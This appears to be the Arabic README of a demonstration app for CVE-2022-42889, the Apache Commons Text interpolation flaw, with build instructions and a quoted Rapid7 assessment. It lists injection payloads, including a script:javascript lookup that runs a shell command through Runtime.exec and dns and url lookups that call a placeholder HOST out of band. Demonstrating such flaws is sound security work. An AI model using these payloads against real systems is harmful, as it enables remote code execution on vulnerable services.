CVE-2022-42889-POC

تطبيق تجريبي بسيط يوضح كيفية استغلال ثغرة CVE-2022-42889.
يستخدم خدمات OOB (خارج النطاق) لإظهار بادئات dns و url.

JavaDocs لـ commons-text interpolation commons-text JavaDocs

أمثلة على الاستيفاء

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

اقتباس من Rapid7

تمت مقارنة الثغرة بـ Log4Shell لأنها ثغرة على مستوى مكتبة مفتوحة المصدر ومن المحتمل أن تؤثر على مجموعة واسعة من تطبيقات البرامج التي تستخدم الكائن ذي الصلة.
ومع ذلك، يشير التحليل الأولي إلى أن هذه المقارنة سيئة. طبيعة الثغرة تعني أنه على عكس Log4Shell، سيكون من النادر أن يستخدم التطبيق المكون الضعيف من Commons Text لمعالجة مدخلات غير موثوقة قد تكون ضارة.

المتطلبات الأساسية

• docker
• java
• maven

يمكن تخطي Java و maven إذا قام المرء بسحب الصورة من Docker Hub

الاستخدام

بناء التطبيق

mvn clean package

بناء صورة docker

docker build -t cve-2022-42889-poc .